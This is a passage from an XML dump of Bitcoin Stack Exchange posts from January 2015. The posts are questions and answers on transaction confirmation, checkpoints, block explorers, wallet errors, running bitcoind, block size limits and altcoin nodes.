\--&amp;gt; C` -&amp;gt; D` -&amp;gt; E` -&amp;gt; F`       North America Chain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because these two forks are more than 3 blocks different, even when full networking is restored, your code prevents nodes and miners in North America from switching over to the stronger European chain---meaning the network will remained forked forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it useful to always ask myself, &quot;how will new nodes that are downloading the block chain for the first time come to consensus with currently active nodes in a trustless manner?&quot;&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-18T00:20:57.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35587" PostTypeId="1" AcceptedAnswerId="35588" CreationDate="2015-01-18T01:50:37.627" Score="10" ViewCount="4214" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitcoinmonitor.net/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Monitor&lt;/a&gt; offers to issue a notification moments after a payment is sent to a Bitcoin address. Yet if Bitcoin transactions require ~10 min to get written into the blockchain and confirmed as official, how can payments get recognized within moments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;a href=&quot;http://bitcoin.network/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin.network&lt;/a&gt; requires payment via Bitcoin before making the blockchain available for downloading. It publishes a download URL seconds after a payment is made. How can the site be sure the payment is legitimate. How does it know the payment has been made only a few seconds after payment is sent?&lt;/p&gt;&#xA;" OwnerUserId="14857" LastEditorUserId="14857" LastEditDate="2017-03-03T00:52:24.297" LastActivityDate="2018-05-09T22:27:39.467" Title="If Bitcoin transactions require ~10 min to clear, how can payments get recognized within seconds?" Tags="|transactions|transaction-verification|zero-confirmation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35588" PostTypeId="2" ParentId="35587" CreationDate="2015-01-18T02:32:33.117" Score="10" Body="&lt;p&gt;When you create a transaction, your Bitcoin wallet broadcasts it to a few full nodes on the Bitcoin peer-to-peer network.  Those full nodes quickly relay it to other full nodes, and it eventually ends up at the full nodes run by the sites you linked to.  That's how those sites know the transaction exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full nodes also relay the transaction to Bitcoin miners.  Each miner may choose to include your transaction in a block of transactions.  (Miners usually choose to include the transactions that pay the highest transaction fees per kilobyte of transaction data.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners have to solve a sort-of random puzzle---whichever miner solves it first can include proof they solved the puzzle in their block of transactions and send that block to full nodes.  Those full nodes relay the block to other full nodes and eventually the block ends up at the full nodes run by the sites you linked to (and to the wallet of the person you paid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The puzzles are very hard to solve, so a block with proof of a solved puzzle is hard to fake.  This means any transactions in that block are considered hard to undo.  Also, the next block has to point to the previous block, so it would then require solving two very hard puzzles to undo the transactions in the block containing your transactions.  And it keeps getting harder and harder each time a new block is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may have guessed, it takes an average of about 10 minutes of puzzle-solving by all miners before any particular miner solves a puzzle, so it takes about 10 minutes on average for a transaction to be protected.  Up until that point, you could create a duplicate transaction that steals back the money you spent---so nobody trusts high-value transactions until they appear in at least one block (and more blocks are better).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Newbie questions are always welcome!&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="2769" LastEditDate="2015-01-20T13:02:37.210" LastActivityDate="2015-01-20T13:02:37.210" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35590" PostTypeId="2" ParentId="35584" CreationDate="2015-01-18T04:01:20.850" Score="1" Body="&lt;p&gt;This sort of exists with &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1797/what-are-checkpoints&quot;&gt;checkpoints&lt;/a&gt;.  The Bitcoin Core source contains a list of hashes of blocks at particular heights, and the standard client will refuse any chain that doesn't contain those blocks at those heights, so it won't accept a fork that diverges before the latest checkpoint.  Periodically the Bitcoin Core maintainers will add to this list, to include some more relatively recent (but not too recent) blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a sense for how recent, the latest checkpoint in the git repository for Bitcoin Core is at height 295000 (mined in April 2014), and the current height is 339431.  So it won't accept any fork that tries to reverse more than 44431 blocks, or about 9 months of work.  Feel better now? :-)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-18T04:01:20.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35591" PostTypeId="1" AcceptedAnswerId="35599" CreationDate="2015-01-18T04:18:27.150" Score="2" ViewCount="497" Body="&lt;p&gt;This is a general question, but what's the best way to search the blockchain? Blockchain.info lets you search by address, but it seems to be a side feature instead of its central purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other sites for searching Bitcoin transactions? I want to see all the transactions associated with a single address or to do other arbitrary types of searches?&lt;/p&gt;&#xA;" OwnerUserId="14857" LastEditorUserId="2306" LastEditDate="2015-01-18T05:15:50.073" LastActivityDate="2015-01-18T17:01:57.677" Title="Sites for searching the blockchain?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35592" PostTypeId="1" CreationDate="2015-01-18T12:49:59.427" Score="3" ViewCount="5427" Body="&lt;p&gt;Does anybody know what this code means?  error: &lt;code&gt;{u'message': u'64: dust', u'code': -26}&lt;/code&gt;   I've managed to send bitcoins once, same settings, but it only worked once.&#xA;Any help is welcome, thanks!&lt;/p&gt;&#xA;" OwnerUserId="22986" LastEditorUserId="5406" LastEditDate="2015-01-18T13:03:54.813" LastActivityDate="2015-01-18T13:30:16.957" Title="Electrum wallet - Can not send bitcoins" Tags="|electrum|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35593" PostTypeId="1" CreationDate="2015-01-18T13:28:56.587" Score="1" ViewCount="1264" Body="&lt;p&gt;After I install my Bitcoin client (0.9.3 64 bit on Win7) I can run it one time without problems. It won’t start up a second time, though, and terminate with the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION: N5boost12interprocess22interprocess_exceptionE&#xA;Access denied&#xA;E:\Program Files\Bitcoin\bitcoin-qt.exe in Runaway exception&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't store my blockchain data in the standard &lt;code&gt;AppData&lt;/code&gt; folder. I have, however, specified the correct &lt;code&gt;-datadir&lt;/code&gt; in the &lt;code&gt;bitcoin-qt&lt;/code&gt; shortcut. So this should not be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dicovered that all my Bitcoin folders are partially read-only. When I uncheck the box, the read-only will automatically be restored, I just don't know why and by which routine. Might this be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to be able to run the client I have to reinstall it every time I want to use it at the moment and then it will work once. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="22987" LastEditorUserId="5406" LastEditDate="2015-12-24T11:23:07.940" LastActivityDate="2015-12-24T11:23:07.940" Title="Runaway exception on 0.9.3 Bitcoin client startup 64 bit Windows 7" Tags="|client|windows|error|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35594" PostTypeId="2" ParentId="35592" CreationDate="2015-01-18T13:30:16.957" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8405/5406&quot;&gt;another question about an Electrum error message&lt;/a&gt; the error message is just passed along by Electrum and originally was generated in BitcoinQt: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcprotocol.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;rpcprotocol.h&lt;/a&gt; in the source code &lt;code&gt;error -26&lt;/code&gt; has the following meaning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RPC_VERIFY_REJECTED = -26, //! Transaction or block was rejected by network rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Guessing from the word &quot;dust&quot; appearing in the message, was the amount you were trying to send below 5430 satoshi? That would be considered &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10987/5406&quot;&gt;dust&lt;/a&gt;, and perhaps electrum would not send a transaction with dust.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-01-18T13:30:16.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35597" PostTypeId="2" ParentId="13795" CreationDate="2015-01-18T15:52:22.377" Score="12" Body="&lt;p&gt;There's an &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2d782ab2ce30bf106e34cd3288c9082ac04022f9/contrib/init/bitcoind.conf&quot; rel=&quot;noreferrer&quot;&gt;upstart script for Ubuntu&lt;/a&gt; in the Bitcoin Core source tree.  Using that is the most correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I just login as the user account I want to run Bitcoin Core daemon, start a terminal (if I'm in the GUI), and run the following command to edit my crontab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;crontab -e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I add the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@reboot bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file and exit.  Now every time the computer boots up, Bitcoin Core daemon will be started.  On shutdown, init/upstart/systemd/whatever will send it a SIGTERM signal, which bitcoind will catch and interpret as the command to start a safe shutdown.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-18T15:52:22.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35598" PostTypeId="2" ParentId="35593" CreationDate="2015-01-18T16:29:19.823" Score="1" Body="&lt;p&gt;I'm not an expert on Windows, but I suspect your problem is caused by your anti-virus program.  As &lt;a href=&quot;http://www.zdnet.com/article/false-stoned-virus-detections-in-bitcoin-files-are-widespread/&quot; rel=&quot;nofollow&quot;&gt;widely reported&lt;/a&gt;, some griefers have placed virus signatures in the Bitcoin block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These virus signatures can't actually harm your computer---the block chain is non-executable---but virus programs detect them and quarantine the files anyway.  You may want to poke around your anti-virus program's settings and see if there's a way to exclude bitcoin-qt and its data directory from your scans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it won't help you now, it might ease your mind to know that the Bitcoin Core developers are working on this issue.  If I understand correctly, their plan is to optionally allow each Bitcoin Core user to store the block chain with a slightly different encoding[1] so that virus signatures in the block chain are uniquely obfuscated on each computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] For compsci geeks: they plan to allow XORing the block chain it by a bitstream unique to each instance.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-18T16:29:19.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35599" PostTypeId="2" ParentId="35591" CreationDate="2015-01-18T17:01:57.677" Score="3" Body="&lt;p&gt;The term for such a site is &lt;strong&gt;block explorer&lt;/strong&gt; and there are many of them.  Among the top Google hits for &quot;block explorer&quot; are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://biteasy.com&quot; rel=&quot;nofollow&quot;&gt;http://biteasy.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blocktrail.com&quot; rel=&quot;nofollow&quot;&gt;http://blocktrail.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://btc.blockr.io&quot; rel=&quot;nofollow&quot;&gt;http://btc.blockr.io&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bkchain.org&quot; rel=&quot;nofollow&quot;&gt;http://bkchain.org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-18T17:01:57.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35600" PostTypeId="1" CreationDate="2015-01-18T17:03:20.263" Score="0" ViewCount="123" Body="&lt;p&gt;Background I just got started yesterday learning Python and I'm currently building my first iPhone game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is create a Bitcoin Pot Jar inside an iPhone app like Sarutobi:&lt;a href=&quot;https://itunes.apple.com/us/app/id932194840?mt=8&quot; rel=&quot;nofollow&quot;&gt;https://itunes.apple.com/us/app/id932194840?mt=8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test out the game to see how it works. All the user does is paste their bitcoin address in an input field, somehow this data goes somewhere and then the user receives randomly small tip during gameplay. How do I create something like this? What code is used to make this work?&lt;/p&gt;&#xA;" OwnerUserId="22990" LastEditorUserId="2306" LastEditDate="2015-01-18T17:10:08.473" LastActivityDate="2015-01-19T22:08:42.127" Title="How to send user input data(Bitcoin address) from iPhone to server and then send Bitcoin back to user's Bitcoin address?" Tags="|bitcoind|bitcoin-core|python|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35601" PostTypeId="2" ParentId="35552" CreationDate="2015-01-18T17:18:00.753" Score="1" Body="&lt;p&gt;Signing a message provides the useful property of &quot;non repudiation&quot;, which is of value to the recipient of the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a way of recording a promise made in a way that the recipient can later prove:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that the promise was made, and&lt;/li&gt;&#xA;&lt;li&gt;who made the promise&lt;/li&gt;&#xA;&lt;li&gt;when the promise was made&lt;/li&gt;&#xA;&lt;li&gt;to whom the promise was made&lt;/li&gt;&#xA;&lt;li&gt;what the promise was&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In a way that the promiser cannot deny or modify later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not guarantee that the promise must be satisfied, but can be useful in resolving disputes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the promise is a matter of public record, it can also be useful as a way of identifying fraud, for example where the same unique resource (eg a btc) is promised twice to two different recipients.&lt;/p&gt;&#xA;" OwnerUserId="22991" LastActivityDate="2015-01-18T17:18:00.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35602" PostTypeId="1" CreationDate="2015-01-18T18:21:31.793" Score="0" ViewCount="580" Body="&lt;p&gt;I created my own crypto coin.  I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I have to keep my node running all the time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it better to have more than one node running?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22992" LastEditorUserId="21052" LastEditDate="2015-01-19T00:05:26.167" LastActivityDate="2015-01-19T00:14:28.270" Title="I created my own crypto coin. Do I have to keep my node running all the time?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35603" PostTypeId="1" CreationDate="2015-01-18T18:27:50.523" Score="2" ViewCount="106" Body="&lt;p&gt;Some people feel that it will be important in the future to introduce some scarcity into the mining market by having a block size limit.  The idea is that this will force transactors to bid up transaction fees in order to get their transaction into the block.  This may be necessary as the freshly minted BTC subsidy becomes less and less significant over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this idea is going to work, it's safe to assume that the size limit will be hit every 10 minutes.  otherwise, it's not effectively forcing transactors to bid up the fees.  But if that is the case, won't a backlog of transactions start accruing such that the average wait time grows infinitely?  For example, if the limit is (more or less) 2000 transactions per block but the protocol puts a limit at 1500 transactions per block, it seems like there's no way around building up a stock of unconfirmed transactions that grows unbounded at a rate of 500 transactions every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems to me that a limit on block size can serve the original purpose of preventing some kinds of one-off spam attacks, but it can't be a long term solution to the tragedy of the commons problem.  Please confirm or correct my understanding?&lt;/p&gt;&#xA;" OwnerUserId="22807" LastEditorUserId="5406" LastEditDate="2016-04-19T10:10:56.177" LastActivityDate="2016-04-19T10:10:56.177" Title="Can a blocksize limit be a sustainable way to introduce scarcity?" Tags="|transaction-fees|block-size-increase|blocksize|blockspace-market|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35605" PostTypeId="2" ParentId="35603" CreationDate="2015-01-18T19:00:13.423" Score="3" Body="&lt;p&gt;Your analysis seems to assume unconfirmed transactions will sit in the queue forever.  That's not the case.  When someone realizes that their transaction will never confirm, they can create a double spend with a higher fee.  When the double spend is confirmed, the earlier transaction becomes invalid (barring a chain reorganization).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's an open question about how much we should be restricting block sizes.  The current hard limit of 1 MB seems to be a comfortable place for miners with current technology and for full node operators with current disk space and bandwidth limitations.  As fast block propagation technology improves, block chain pruning technology gets deployed, and higher-bandwidth connections become more common, we will likely see a push towards higher block size limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will also hopefully see technology and techniques developed that allow for alternative ways to pay for block chain security, so we aren't so dependent on transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-18T19:00:13.423" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35606" PostTypeId="1" CreationDate="2015-01-18T20:19:38.787" Score="12" ViewCount="7656" Body="&lt;p&gt;Does anyone know how the Bitcoin wallet developers earn money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they live on only donations? Is it possible to survive on only donations? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would they develop wallets if they don't make any profit from it? :) &lt;/p&gt;&#xA;" OwnerUserId="22996" LastEditorUserId="21052" LastEditDate="2015-01-18T20:22:11.193" LastActivityDate="2020-05-17T11:46:56.960" Title="How do wallet developers earn money?" Tags="|wallet|money|earnings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35607" PostTypeId="2" ParentId="35600" CreationDate="2015-01-18T20:20:41.027" Score="3" Body="&lt;h3&gt;How do I send a Bitcoin address from an iPhone to my server?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/18297623/530160&quot;&gt;Basic Python client socket example&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;&#xA;serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;serversocket.bind(('localhost', 8089))&#xA;serversocket.listen(5) # become a server socket, maximum 5 connections&#xA;&#xA;while True:&#xA;    connection, address = serversocket.accept()&#xA;    buf = connection.recv(64)&#xA;    if len(buf) &amp;gt; 0:&#xA;        print buf&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Client Side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;&#xA;clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;clientsocket.connect(('localhost', 8089))&#xA;clientsocket.send('hello')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;How do I make a Bitcoin transaction using Python from my server?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24571/how-to-make-a-simple-payment-with-the-python-bitcoinlib&quot;&gt;How to make a simple payment with the python-bitcoinlib?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(Rewritten for brevity)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Linux_Quickstart&quot; rel=&quot;nofollow noreferrer&quot;&gt;Run&#xA;  bitcoind&lt;/a&gt;,&#xA;  install python-bitcoinlib, then run this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoin.core import COIN, b2lx&#xA;from bitcoin.base58 import CBitcoinAddress&#xA;import bitcoin.wallet&#xA;import bitcoin.rpc&#xA;&#xA;rpc = bitcoin.rpc.Proxy()&#xA;addr = CBitcoinAddress('1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T')&#xA;&#xA;txid = rpc.sendtoaddress(addr, 0.001 * COIN)&#xA;print(b2lx(txid))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-01-18T20:27:21.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35608" PostTypeId="2" ParentId="35606" CreationDate="2015-01-18T22:16:13.543" Score="3" Body="&lt;p&gt;Some developers don't make money from making some open source projects - but they can always use it to showcase their portfolio to get hired to some company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Android Bitcoin Wallet&lt;/strong&gt; is earning money from donations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchain info&lt;/strong&gt; recieved about 30.5 M funding to invest in growth - they are building a brand and maybe that can offer some consultancy to other bitcoin startups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Xapo&lt;/strong&gt; - they are making money from fees on bitcoin to debit card conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Coinkite&lt;/strong&gt; sells bitcoin cards and terminals and make money from withdrawals from merchant accounts. &lt;/p&gt;&#xA;" OwnerUserId="974" LastEditorUserId="974" LastEditDate="2020-05-17T11:46:56.960" LastActivityDate="2020-05-17T11:46:56.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35609" PostTypeId="2" ParentId="35606" CreationDate="2015-01-18T22:36:43.593" Score="10" Body="&lt;p&gt;You should know that lots of things in life come for free. Specifically when it comes to software, lots of professional developers would rather develop things &quot;their own way&quot; for free, instead of getting paid and &quot;being forced to do it&quot;. Most open source developers also simply enjoy the act of creating things. They're engineers and scientists that care more about people using their inventions, rather than an economical compensation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you say, at the end of the day developers have to eat and pay the bills too. If I remember correctly the MultiBit developers will add an option to automatically send a portion of the fees you use for transactions towards themselves. However, I've read this news on some blogs and not directly from the MultiBit developers: &lt;a href=&quot;http://www.coindesk.com/cash-strapped-multibit-developers-charge-transaction-fee/&quot;&gt;http://www.coindesk.com/cash-strapped-multibit-developers-charge-transaction-fee/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But at the end of the day, if you're a developer of a famous bitcoin wallet, you'll have no problems finding a job to earn some money. So money isn't really an issue for most of open source developers. I'd argue that money would actually poison the open source philosophy. You're more in it for the act of creating, for the reputation and fame, for the feeling of doing something nobody has ever done before.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="2306" LastEditDate="2015-01-19T00:01:46.637" LastActivityDate="2015-01-19T00:01:46.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35611" PostTypeId="2" ParentId="35602" CreationDate="2015-01-19T00:14:28.270" Score="1" Body="&lt;p&gt;You really should not be using your own altcoin if you don't know the answers to these questions.  If you just want to experiment, you're welcome to use &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin's testnet&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow&quot;&gt;regtest mode&lt;/a&gt;.  However, here are the answers anyway:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Somebody&lt;/em&gt; has to keep a node running all the time or new users of your altcoin won't be able to download its block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The more nodes you have running (on different computers), the more capacity your altcoin will have to grow its userbase.  By default, each Bitcoin Core node can handle 125 connections (normally 8 of which will be outbound).  I assume you didn't change that part of the code, so unless you expect more than about 100 users to suddenly start using your altcoin, running one node should be sufficient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, running an altcoin is not something a newbie should be doing.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-19T00:14:28.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35612" PostTypeId="1" CreationDate="2015-01-19T00:45:38.660" Score="1" ViewCount="234" Body="&lt;p&gt;I'm trying to install &lt;a href=&quot;https://github.com/coinbase/toshi&quot; rel=&quot;nofollow&quot;&gt;toshi&lt;/a&gt; over docker and am using an AWS RDS DB for postgres. After running &lt;code&gt;docker build -t=coinbase/toshi .&lt;/code&gt; on an AWS ec2 instance I attempt to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo docker run -e REDIS_URL=redis://toshi-001.ithq2b.0001.use2.cache.amazonaws.com:6379 -e DATABASE_URL=postgres://username:password@toshi-db.adfgsdsadfd.us-east-2.rds.amazonaws.com:5432/toshi -e TOSHI_ENV=production coinbase/toshi foreman start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which starts up the process but inevitably fails&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00:22:59 web.1                | started with pid 11&#xA;00:22:59 block_worker.1       | started with pid 12&#xA;00:22:59 transaction_worker.1 | started with pid 14&#xA;00:22:59 peer_manager.1       | started with pid 15&#xA;00:23:01 web.1                | [11] Puma starting in cluster mode...&#xA;00:23:01 web.1                | [11] * Version 2.9.0 (ruby 2.1.2-p95), codename: Team High Five&#xA;00:23:01 web.1                | [11] * Min threads: 1, max threads: 16&#xA;00:23:01 web.1                | [11] * Environment: development&#xA;00:23:01 web.1                | [11] * Process workers: 3&#xA;00:23:01 web.1                | [11] * Phased restart available&#xA;00:23:01 web.1                | [11] * Listening on tcp://0.0.0.0:5000&#xA;00:23:01 web.1                | [11] Use Ctrl-C to stop&#xA;00:23:02 peer_manager.1       | /opt/rubies/ruby-2.1.2/lib/ruby/gems/2.1.0/gems/sequel-4.13.0/lib/sequel/adapters/postgres.rb:161:in `async_exec': PG::UndefinedTable: ERROR:  relation &quot;peers&quot; does not exist (Sequel::DatabaseError)&#xA;00:23:02 peer_manager.1       | LINE 1: SELECT * FROM &quot;peers&quot;&#xA;00:23:02 peer_manager.1       |                       ^&#xA;00:23:02 peer_manager.1       |     from /opt/rubies/ruby-2.1.2/lib/ruby/gems/2.1.0/gems/sequel-4.13.0/lib/sequel/adapters/postgres.rb:161:in `block in execute_query'&#xA;00:23:02 peer_manager.1       |     from /opt/rubies/ruby-2.1.2/lib/ruby/gems/2.1.0/gems/sequel-4.13.0/lib/sequel/database/logging.rb:33:in `log_yield'&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that for some reason the DB is not able to migrate. When I run the same command without specifying that DB name toshi at the end of the postgres connection url I get a different error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to find image 'coinbase:latest' locally&#xA;Pulling repository coinbase&#xA;FATA[0000] Error: image library/coinbase:latest not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be causing either of these errors?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="2306" LastEditDate="2015-01-19T01:45:18.847" LastActivityDate="2015-03-18T13:49:30.730" Title="Database error when installing Coinbase's Toshi with Docker" Tags="|coinbase.com|toshi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35613" PostTypeId="5" CreationDate="2015-01-19T01:45:52.727" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-19T01:45:52.727" LastActivityDate="2015-01-19T01:45:52.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35614" PostTypeId="4" CreationDate="2015-01-19T01:45:52.727" Score="0" Body="An alternate implementation of the core Bitcoin client, written in Ruby.&#xD;&#xA;&#xD;&#xA;https://github.com/coinbase/toshi" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-19T01:45:52.727" LastActivityDate="2015-01-19T01:45:52.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
